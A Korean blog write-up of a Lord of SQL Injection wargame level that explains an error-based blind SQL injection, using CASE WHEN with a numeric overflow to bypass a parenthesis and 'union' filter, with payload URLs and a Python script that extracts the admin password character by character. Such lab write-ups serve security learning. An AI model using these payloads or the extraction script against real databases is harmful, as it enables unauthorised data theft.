Oh! JUN

[Lord Of SQL Injection] 28번(error blind sqlinjection 예외처리: (,),union) 본문

문제풀이/Lord of SQL Injection

[Lord Of SQL Injection] 28번(error blind sqlinjection 예외처리: (,),union)

Kwon Oh! JUN 2022. 3. 8. 02:26

query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''



<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\(|\)|union/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
mysqli_error($db)) exit("error");

  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  
highlight_file(__FILE__);
?>

 

(,),union이 예외처리된걸 확인할 수 있고 mysqli_error에서 쿼리문이 에러나면 error처리를 한다.

이전에 많이 본 문제다.

 

if(조건, 참(error), 거짓) 형태로 조건이 참이되면 error가 뜨게해서 조건문의 참의 값을 알 수 있다. 

여기까지는 이전 문제고 이 문제는 (,) 사용하면 안돼서 if문은 사용을 하지 못한다.

 

그래서 새로운 문법을 적용시킬 수 있다.

case
when 조건1 then 값1
when 조건2 then 값2
.
.
.
else 값3
end

조건1을 만족하면 값1을 출력하고, 조건2을 만족하면 값2을 출력한다.

조건1,2을 제외한 값3을 출력한다.

 

이번 문제에 적용시켜보면

case
when pw like '0%' then 9e307*2  
else 0
end

Mysql에서는 최대 허용 범위가 9e307이기 때문에 9e307*2 하면 오류가 발생한다.

pw like '0%'는 만약 pw가 0123456이면 pw like '0%'는 참이된다. 

코드 짤때 

pw like '0%'
pw like '01%'
pw like '012%'
.
.
.

이런 식으로 매칭 시켜야 참인지 확인할 수 있다.

 

정리하면, pw like '0%'가 맞으면 9e307*2 오류를 발생시켜서 error가 뜨면 참이라는거고

거짓이면 변화가 없다. 


★참 일 때

https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=%27||%20id=%27admin%27%20and%20case%20when%20pw%20like%270%%27%20then%209e307*2%20else%200%20end%20%23


query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''|| id='admin' and case when pw like'0%' then 9e307*2 else 0 end #'



error


★거짓 일 때

https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=%27||%20id=%27admin%27%20and%20case%20when%20pw%20like%271%%27%20then%209e307*2%20else%200%20end%20%23


query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''|| id='admin' and case when pw like'1%' then 9e307*2 else 0 end #'



<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\(|\)|union/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
mysqli_error($db)) exit("error");

  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  
highlight_file(__FILE__);
?>


어떻게 푸는지 알았으니까 코드를 짜보면

import requests
import string


url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookie = dict(PHPSESSID="3t718net8852623nhii9htceu3")

asc = string.digits+string.ascii_letters
print(len(asc))
result=""
count = 0

for i in range(1,100):
    for j in asc:
        param = "?pw='|| id='admin' and case when pw like'"+result+j+"%25' then 9e307*2 else 0 end %23"
        res_url = url+param
        print(res_url)
        response = requests.get(res_url, cookies=cookie)
        count=count+1

        if response.text.find("include")<0:
            print(str(i)+"번째 패스워드 :"+j)
            result+=j
            count = 0
            break
        
    if count==len(asc):
        break
             
print("pw :"+result)

기존 코드와 크게 다른건 없고 count, len(asc)변수만 보면된다.(기존 문제와 다르게 pw의 길이를 지정해주지 않았기 때문에 사실은 못하는거다. length(pw)에서 (,) 사용되기 때문에 예외처리 된다.)

 

예를 들어서

pw like '0%'
pw like '01%'
pw like '012%'
.
.
.

pw가 0123456이라고 하면

 0123456까지 체크가 되어도 pw길이를 몰라서 100까지 지정해 놓았기 때문에 계속 돈다.

그래서 count변수를 사용해서 pw와 asc를 비교할때 체크되는게 없으면 즉 count가 len(asc)가되면 멈추게 코드를 짰다.


https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=0dc4efbb


query : select id,pw from prob_frankenstein where id='frankenstein' and pw='0dc4efbb'


 

FRANKENSTEIN Clear!


<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\(|\)|union/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
mysqli_error($db)) exit("error");

  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  
highlight_file(__FILE__);
?>

 

개강해서 바쁘다 >.<